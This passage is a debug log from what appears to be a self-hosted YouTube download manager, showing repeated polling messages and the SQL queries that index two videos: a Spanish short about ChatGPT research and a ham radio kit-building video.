WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1461] 23:03:38.414 [debug] Current batch of media processed. Will check again in 1000ms 23:03:39.331 [debug] Current batch of media processed. Will check again in 1000ms 23:03:39.415 [debug] Current batch of media processed. Will check again in 1000ms 23:03:40.332 [debug] Current batch of media processed. Will check again in 1000ms 23:03:40.416 [debug] Current batch of media processed. Will check again in 1000ms 23:03:41.333 [debug] Current batch of media processed. Will check again in 1000ms 23:03:41.417 [debug] Current batch of media processed. Will check again in 1000ms 23:03:42.334 [debug] Current batch of media processed. Will check again in 1000ms 23:03:42.418 [debug] Current batch of media processed. Will check again in 1000ms 23:03:43.335 [debug] Current batch of media processed. Will check again in 1000ms 23:03:43.419 [debug] Current batch of media processed. Will check again in 1000ms 23:03:44.336 [debug] Current batch of media processed. Will check again in 1000ms 23:03:44.420 [debug] Current batch of media processed. Will check again in 1000ms 23:03:45.337 [debug] Current batch of media processed. Will check again in 1000ms 23:03:45.421 [debug] Current batch of media processed. Will check again in 1000ms 23:03:46.338 [debug] Current batch of media processed. Will check again in 1000ms 23:03:46.422 [debug] Current batch of media processed. Will check again in 1000ms 23:03:47.339 [debug] Current batch of media processed. Will check again in 1000ms 23:03:47.423 [debug] Current batch of media processed. Will check again in 1000ms 23:03:48.340 [debug] Current batch of media processed. Will check again in 1000ms 23:03:48.424 [debug] Current batch of media processed. Will check again in 1000ms 23:03:49.341 [debug] Current batch of media processed. Will check again in 1000ms 23:03:49.425 [debug] Current batch of media processed. Will check again in 1000ms 23:03:50.342 [debug] Current batch of media processed. Will check again in 1000ms 23:03:50.426 [debug] Current batch of media processed. Will check again in 1000ms 23:03:51.331 [info] {"source":"oban","duration":1099,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:03:51.343 [debug] Current batch of media processed. Will check again in 1000ms 23:03:51.427 [debug] Current batch of media processed. Will check again in 1000ms 23:03:52.344 [debug] Current batch of media processed. Will check again in 1000ms 23:03:52.428 [debug] Current batch of media processed. Will check again in 1000ms 23:03:53.345 [debug] Current batch of media processed. Will check again in 1000ms 23:03:53.429 [debug] Current batch of media processed. Will check again in 1000ms 23:03:54.346 [debug] Current batch of media processed. Will check again in 1000ms 23:03:54.430 [debug] Current batch of media processed. Will check again in 1000ms 23:03:55.347 [debug] Current batch of media processed. Will check again in 1000ms 23:03:55.431 [debug] Current batch of media processed. Will check again in 1000ms 23:03:56.348 [debug] Current batch of media processed. Will check again in 1000ms 23:03:56.432 [debug] Current batch of media processed. Will check again in 1000ms 23:03:57.349 [debug] Current batch of media processed. Will check again in 1000ms 23:03:57.433 [debug] Current batch of media processed. Will check again in 1000ms 23:03:58.350 [debug] Current batch of media processed. Will check again in 1000ms 23:03:58.434 [debug] Current batch of media processed. Will check again in 1000ms 23:03:59.351 [debug] Current batch of media processed. Will check again in 1000ms 23:03:59.435 [debug] Current batch of media processed. Will check again in 1000ms 23:04:00.147 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:04:00.352 [debug] Current batch of media processed. Will check again in 1000ms 23:04:00.436 [debug] Current batch of media processed. Will check again in 1000ms 23:04:01.353 [debug] Current batch of media processed. Will check again in 1000ms 23:04:01.437 [debug] Current batch of media processed. Will check again in 1000ms 23:04:02.354 [debug] Current batch of media processed. Will check again in 1000ms 23:04:02.438 [debug] Current batch of media processed. Will check again in 1000ms 23:04:03.355 [debug] Current batch of media processed. Will check again in 1000ms 23:04:03.439 [debug] Current batch of media processed. Will check again in 1000ms 23:04:04.356 [debug] Current batch of media processed. Will check again in 1000ms 23:04:04.440 [debug] Current batch of media processed. Will check again in 1000ms 23:04:05.357 [debug] Current batch of media processed. Will check again in 1000ms 23:04:05.441 [debug] Current batch of media processed. Will check again in 1000ms 23:04:06.358 [debug] Current batch of media processed. Will check again in 1000ms 23:04:06.442 [debug] Current batch of media processed. Will check again in 1000ms 23:04:07.359 [debug] Current batch of media processed. Will check again in 1000ms 23:04:07.443 [debug] Current batch of media processed. Will check again in 1000ms 23:04:08.360 [debug] Current batch of media processed. Will check again in 1000ms 23:04:08.444 [debug] Current batch of media processed. Will check again in 1000ms 23:04:09.361 [debug] Current batch of media processed. Will check again in 1000ms 23:04:09.445 [debug] Current batch of media processed. Will check again in 1000ms 23:04:10.362 [debug] Current batch of media processed. Will check again in 1000ms 23:04:10.446 [debug] Current batch of media processed. Will check again in 1000ms 23:04:11.363 [debug] Current batch of media processed. Will check again in 1000ms 23:04:11.447 [debug] Current batch of media processed. Will check again in 1000ms 23:04:12.364 [debug] Current batch of media processed. Will check again in 1000ms 23:04:12.448 [debug] Current batch of media processed. Will check again in 1000ms 23:04:13.365 [debug] Current batch of media processed. Will check again in 1000ms 23:04:13.449 [debug] Current batch of media processed. Will check again in 1000ms 23:04:14.366 [debug] Current batch of media processed. Will check again in 1000ms 23:04:14.450 [debug] Current batch of media processed. Will check again in 1000ms 23:04:15.367 [debug] Current batch of media processed. Will check again in 1000ms 23:04:15.451 [debug] Current batch of media processed. Will check again in 1000ms 23:04:16.368 [debug] Current batch of media processed. Will check again in 1000ms 23:04:16.452 [debug] Current batch of media processed. Will check again in 1000ms 23:04:17.369 [debug] Current batch of media processed. Will check again in 1000ms 23:04:17.453 [debug] Current batch of media processed. Will check again in 1000ms 23:04:18.370 [debug] Current batch of media processed. Will check again in 1000ms 23:04:18.454 [debug] Current batch of media processed. Will check again in 1000ms 23:04:19.371 [debug] Current batch of media processed. Will check again in 1000ms 23:04:19.455 [debug] Current batch of media processed. Will check again in 1000ms 23:04:20.372 [debug] Current batch of media processed. Will check again in 1000ms 23:04:20.456 [debug] Current batch of media processed. Will check again in 1000ms 23:04:21.333 [info] {"source":"oban","duration":1043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:21.373 [debug] Current batch of media processed. Will check again in 1000ms 23:04:21.457 [debug] Current batch of media processed. Will check again in 1000ms 23:04:22.374 [debug] Current batch of media processed. Will check again in 1000ms 23:04:22.458 [debug] Current batch of media processed. Will check again in 1000ms 23:04:23.375 [debug] Current batch of media processed. Will check again in 1000ms 23:04:23.459 [debug] Current batch of media processed. Will check again in 1000ms 23:04:24.376 [debug] Current batch of media processed. Will check again in 1000ms 23:04:24.460 [debug] Current batch of media processed. Will check again in 1000ms 23:04:25.377 [debug] Current batch of media processed. Will check again in 1000ms 23:04:25.461 [debug] Current batch of media processed. Will check again in 1000ms 23:04:26.378 [debug] Current batch of media processed. Will check again in 1000ms 23:04:26.462 [debug] Current batch of media processed. Will check again in 1000ms 23:04:27.379 [debug] Current batch of media processed. Will check again in 1000ms 23:04:27.463 [debug] Current batch of media processed. Will check again in 1000ms 23:04:28.380 [debug] Current batch of media processed. Will check again in 1000ms 23:04:28.464 [debug] Current batch of media processed. Will check again in 1000ms 23:04:29.381 [debug] Current batch of media processed. Will check again in 1000ms 23:04:29.465 [debug] Current batch of media processed. Will check again in 1000ms 23:04:30.382 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "PARTE 12: CHATGPT NUEVAS FUNCIONALIDADES: Descubre el proceso de investigación profunda de ChatGPT. Explicamos cómo **nuestra** herramienta realiza búsquedas exhaustivas en internet durante 15-20 minutos, razonando cada paso para ofrecerte las mejores respuestas. ¡Ideal para **nuestras** investigaciones! #ChatGPT #InvestigaciónProfunda #InteligenciaArtificial #BúsquedaEnInternet #HerramientasIA #Productividad #Tecnología #AprendizajeAutomático #AnálisisDeDatos #Innovación", "duration" => 27, "filename" => "/downloads/music/IA mí QUÉ/ChatGPT Investigador: ¡Descubre Secretos Ocultos en 15 Minutos!.m4a", "id" => "F6sDaA85drA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/F6sDaA85drA", "playlist_index" => 23, "timestamp" => 1746975822, "title" => "ChatGPT Investigador: ¡Descubre Secretos Ocultos en 15 Minutos!", "upload_date" => "20250511"} 23:04:30.383 [debug] QUERY OK source="sources" db=0.6ms idle=1482.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 23:04:30.384 [debug] QUERY OK source="sources" db=0.4ms idle=598.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:04:30.385 [debug] QUERY OK source="media_items" db=0.7ms idle=598.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-05-11 15:03:42Z], 2] 23:04:30.386 [debug] QUERY OK source="media_items" db=1.1ms idle=599.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["PARTE 12: CHATGPT NUEVAS FUNCIONALIDADES: Descubre el proceso de investigación profunda de ChatGPT. Explicamos cómo **nuestra** herramienta realiza búsquedas exhaustivas en internet durante 15-20 minutos, razonando cada paso para ofrecerte las mejores respuestas. ¡Ideal para **nuestras** investigaciones! #ChatGPT #InvestigaciónProfunda #InteligenciaArtificial #BúsquedaEnInternet #HerramientasIA #Productividad #Tecnología #AprendizajeAutomático #AnálisisDeDatos #Innovación", "ChatGPT Investigador: ¡Descubre Secretos Ocultos en 15 Minutos!", "02673274-7197-498f-846e-273b41eaab1a", 27, false, "F6sDaA85drA", "https://www.youtube.com/shorts/F6sDaA85drA", 23, "/downloads/music/IA mí QUÉ/ChatGPT Investigador: ¡Descubre Secretos Ocultos en 15 Minutos!.m4a", false, false, true, 2, [], 96, ~U[2025-05-11 15:03:42Z], ~U[2026-02-07 22:04:30Z], ~U[2026-02-07 22:04:30Z], "PARTE 12: CHATGPT NUEVAS FUNCIONALIDADES: Descubre el proceso de investigación profunda de ChatGPT. Explicamos cómo **nuestra** herramienta realiza búsquedas exhaustivas en internet durante 15-20 minutos, razonando cada paso para ofrecerte las mejores respuestas. ¡Ideal para **nuestras** investigaciones! #ChatGPT #InvestigaciónProfunda #InteligenciaArtificial #BúsquedaEnInternet #HerramientasIA #Productividad #Tecnología #AprendizajeAutomático #AnálisisDeDatos #Innovación", "ChatGPT Investigador: ¡Descubre Secretos Ocultos en 15 Minutos!", 27, false, "F6sDaA85drA", "https://www.youtube.com/shorts/F6sDaA85drA", "/downloads/music/IA mí QUÉ/ChatGPT Investigador: ¡Descubre Secretos Ocultos en 15 Minutos!.m4a", true, 2, ~U[2025-05-11 15:03:42Z]] 23:04:30.387 [debug] QUERY OK source="sources" db=0.6ms idle=485.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 23:04:30.388 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:04:30.389 [debug] QUERY OK source="media_items" db=0.6ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1406] 23:04:30.389 [debug] Current batch of media processed. Will check again in 1000ms 23:04:30.466 [debug] Current batch of media processed. Will check again in 1000ms 23:04:31.390 [debug] Current batch of media processed. Will check again in 1000ms 23:04:31.467 [debug] Current batch of media processed. Will check again in 1000ms 23:04:32.391 [debug] Current batch of media processed. Will check again in 1000ms 23:04:32.468 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "En este video vamos a ver el montaje de una emisora mini, un QRP llamado (tr)uSDX. Es un proyecto de DL2MAN y en su página web teneis toda la información:\n\nhttps://dl2man.de/\n\nEste es el primero de dos videos, porque si no la cosa se hacía muy muy larga. Espero os resulte interesante.\n\n#usdx #dl2man #hamradio #radioaficionados #diyelectronics #(tr)usdx\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1667, "filename" => "/downloads/music/ea3grn/102 - MONTANDO EMISORA TRUSDX EN KIT (PARTE1).m4a", "id" => "7whZTC8S2hk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=7whZTC8S2hk", "playlist_index" => 79, "timestamp" => 1678381205, "title" => "102 - MONTANDO EMISORA TRUSDX EN KIT (PARTE1)", "upload_date" => "20230309"} 23:04:32.469 [debug] QUERY OK source="sources" db=0.7ms idle=683.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 23:04:32.470 [debug] QUERY OK source="sources" db=0.4ms idle=684.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:04:32.471 [debug] QUERY OK source="media_items" db=0.6ms idle=684.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-03-09 17:00:05Z], 3] 23:04:32.473 [debug] QUERY OK source="media_items" db=1.1ms idle=685.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["En este video vamos a ver el montaje de una emisora mini, un QRP llamado (tr)uSDX. Es un proyecto de DL2MAN y en su página web teneis toda la información:\n\nhttps://dl2man.de/\n\nEste es el primero de dos videos, porque si no la cosa se hacía muy muy larga. Espero os resulte interesante.\n\n#usdx #dl2man #hamradio #radioaficionados #diyelectronics #(tr)usdx\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "102 - MONTANDO EMISORA TRUSDX EN KIT (PARTE1)", "b4d6bd02-5538-40a9-82bf-376c2b8801c5", 1667, false, "7whZTC8S2hk", "https://www.youtube.com/watch?v=7whZTC8S2hk", 79, "/downloads/music/ea3grn/102 - MONTANDO EMISORA TRUSDX EN KIT (PARTE1).m4a", false, false, false, 3, [], 98, ~U[2023-03-09 17:00:05Z], ~U[2026-02-07 22:04:32Z], ~U[2026-02-07 22:04:32Z], "En este video vamos a ver el montaje de una emisora mini, un QRP llamado (tr)uSDX. Es un proyecto de DL2MAN y en su página web teneis toda la información:\n\nhttps://dl2man.de/\n\nEste es el primero de dos videos, porque si no la cosa se hacía muy muy larga. Espero os resulte interesante.\n\n#usdx #dl2man #hamradio #radioaficionados #diyelectronics #(tr)usdx\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "102 - MONTANDO EMISORA TRUSDX EN KIT (PARTE1)", 1667, false, "7whZTC8S2hk", "https://www.youtube.com/watch?v=7whZTC8S2hk", "/downloads/music/ea3grn/102 - MONTANDO EMISORA TRUSDX EN KIT (PARTE1).m4a", false, 3, ~U[2023-03-09 17:00:05Z]] 23:04:32.473 [debug] QUERY OK source="sources" db=0.4ms idle=566.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 23:04:32.474 [debug] QUERY OK source="media_profiles" db=0.4ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:04:32.475 [debug] QUERY OK source="media_items" db=0.5ms idle=4.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1464] 23:04:32.475 [debug] Current batch of media processed. Will check again in 1000ms 23:04:33.392 [debug] Current batch of media processed. Will check again in 1000ms 23:04:33.475 [debug] Current batch of media processed. Will check again in 1000ms 23:04:34.393 [debug] Current batch of media processed. Will check again in 1000ms 23:04:34.476 [debug] Current batch of media processed. Will check again in 1000ms 23:04:35.394 [debug] Current batch of media processed. Will check again in 1000ms 23:04:35.477 [debug] Current batch of media processed. Will check again in 1000ms 23:04:36.395 [debug] Current batch of media processed. Will check again in 1000ms 23:04:36.478 [debug] Current batch of media processed. Will check again in 1000ms 23:04:37.396 [debug] Current batch of media processed. Will check again in 1000ms 23:04:37.479 [debug] Current batch of media processed. Will check again in 1000ms 23:04:38.397 [debug] Current batch of media processed. Will check again in 1000ms 23:04:38.480 [debug] Current batch of media processed. Will check again in 1000ms 23:04:39.398 [debug] Current batch of media processed. Will check again in 1000ms 23:04:39.481 [debug] Current batch of media processed. Will check again in 1000ms 23:04:40.399 [debug] Current batch of media processed. Will check again in 1000ms 23:04:40.482 [debug] Current batch of media processed. Will check again in 1000ms 23:04:41.400 [debug] Current batch of media processed. Will check again in 1000ms 23:04:41.483 [debug] Current batch of media processed. Will check again in 1000ms 23:04:42.401 [debug] Current batch of media processed. Will check again in 1000ms 23:04:42.484 [debug] Current batch of media processed. Will check again in 1000ms 23:04:43.402 [debug] Current batch of media processed. Will check again in 1000ms 23:04:43.485 [debug] Current batch of media processed. Will check again in 1000ms 23:04:44.403 [debug] Current batch of media processed. Will check again in 1000ms 23:04:44.486 [debug] Current batch of media processed. Will check again in 1000ms 23:04:45.404 [debug] Current batch of media processed. Will check again in 1000ms 23:04:45.487 [debug] Current batch of media processed. Will check again in 1000ms 23:04:46.405 [debug] Current batch of media processed. Will check again in 1000ms 23:04:46.488 [debug] Current batch of media processed. Will check again in 1000ms 23:04:47.406 [debug] Current batch of media processed. Will check again in 1000ms 23:04:47.489 [debug] Current batch of media processed. Will check again in 1000ms 23:04:48.407 [debug] Current batch of media processed. Will check again in 1000ms 23:04:48.490 [debug] Current batch of media processed. Will check again in 1000ms 23:04:49.408 [debug] Current batch of media processed. Will check again in 1000ms 23:04:49.491 [debug] Current batch of media processed. Will check again in 1000ms 23:04:50.409 [debug] Current batch of media processed. Will check again in 1000ms 23:04:50.492 [debug] Current batch of media processed. Will check again in 1000ms 23:04:51.335 [info] {"source":"oban","duration":920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:04:51.410 [debug] Current batch of media processed. Will check again in 1000ms 23:04:51.493 [debug] Current batch of media processed. Will check again in 1000ms 23:04:52.411 [debug] Current batch of media processed. Will check again in 1000ms 23:04:52.494 [debug] Current batch of media processed. Will check again in 1000ms 23:04:53.412 [debug] Current batch of media processed. Will check again in 1000ms 23:04:53.495 [debug] Current batch of media processed. Will check again in 1000ms 23:04:54.413 [debug] Current batch of media processed. Will check again in 1000ms 23:04:54.496 [debug] Current batch of media processed. Will check again in 1000ms 23:04:55.414 [debug] Current batch of media processed. Will check again in 1000ms 23:04:55.497 [debug] Current batch of media processed. Will check again in 1000ms 23:04:56.415 [debug] Current batch of media processed. Will check again in 1000ms 23:04:56.498 [debug] Current batch of media processed. Will check again in 1000ms 23:04:57.416 [debug] Current batch of media processed. Will check again in 1000ms 23:04:57.499 [debug] Current batch of media processed. Will check again in 1000ms 23:04:58.417 [debug] Current batch of media processed. Will check again in 1000ms 23:04:58.500 [debug] Current batch of media processed. Will check again in 1000ms 23:04:59.418 [debug] Current batch of media processed. Will check again in 1000ms 23:04:59.501 [debug] Current batch of media processed. Will check again in 1000ms 23:05:00.147 [info] {"source":"oban","duration":178,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 23:05:00.419 [debug] Current batch of media processed. Will check again in 1000ms 23:05:00.502 [debug] Current batch of media processed. Will check again in 1000ms 23:05:01.420 [debug] Current batch of media processed. Will check again in 1000ms 23:05:01.503 [debug] Current batch of media processed. Will check again in 1000ms 23:05:02.421 [debug] Current batch of media processed. Will check again in 1000ms 23:05:02.504 [debug] Current batch of media processed. Will check again in 1000ms 23:05:03.422 [debug] Current batch of media processed. Will check again in 1000ms 23:05:03.505 [debug] Current batch of media processed. Will check again in 1000ms 23:05:04.423 [debug] Current batch of media processed. Will check again in 1000ms 23:05:04.506 [debug] Current batch of media processed. Will check again in 1000ms 23:05:05.424 [debug] Current batch of media processed. Will check again in 1000ms 23:05:05.507 [debug] Current batch of media processed. Will check again in 1000ms 23:05:06.425 [debug] Current batch of media processed. Will check again in 1000ms 23:05:06.508 [debug] Current batch of media processed. Will check again in 1000ms 23:05:07.426 [debug] Current batch of media processed. Will check again in 1000ms 23:05:07.509 [debug] Current batch of media processed. Will check again in 1000ms 23:05:08.427 [debug] Current batch of media processed. Will check again in 1000ms 23:05:08.510 [debug] Current batch of media processed. Will check again in 1000ms 23:05:09.428 [debug] Current batch of media processed. Will check again in 1000ms 23:05:09.511 [debug] Current batch of media processed. Will check again in 1000ms 23:05:10.429 [debug] Current batch of media processed. Will check again in 1000ms 23:05:10.512 [debug] Current batch of media processed. Will check again in 1000ms 23:05:11.430 [debug] Current batch of media processed. Will check again in 1000ms 23:05:11.513 [debug] Current batch of media processed. Will check again in 1000ms 23:05:12.431 [debug] Current batch of media processed. Will check again in 1000ms 23:05:12.514 [debug] Current batch of media processed. Will check again in 1000ms 23:05:13.432 [debug] Current batch of media processed. Will check again in 1000ms 23:05:13.515 [debug] Current batch of media processed. Will check again in 1000ms 23:05:14.433 [debug] Current batch of media processed. Will check again in 1000ms 23:05:14.516 [debug] Current batch of media processed. Will check again in 1000ms 23:05:15.434 [debug] Current batch of media processed. Will check again in 1000ms 23:05:15.517 [debug] Current batch of media processed. Will check again in 1000ms 23:05:16.435 [debug] Current batch of media processed. Will check again in 1000ms 23:05:16.518 [debug] Current batch of media processed. Will check again in 1000ms 23:05:17.436 [debug] Current batch of media processed. Will check again in 1000ms 23:05:17.519 [debug] Current batch of media processed. Will check again in 1000ms 23:05:18.437 [debug] Current batch of media processed. Will check again in 1000ms 23:05:18.520 [debug] Current batch of media processed. Will check again in 1000ms 23:05:19.438 [debug] Current batch of media processed. Will check again in 1000ms 23:05:19.521 [debug] Current batch of media processed. Will check again in 1000ms 23:05:20.439 [debug] Current batch of media processed. Will check again in 1000ms 23:05:20.522 [debug] Current batch of media processed. Will check again in 1000ms 23:05:21.337 [info] {"source":"oban","duration":1137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 23:05:21.440 [debug] Current batch of media processed. Will check again in 1000ms 23:05:21.523 [debug] Current batch of media processed. 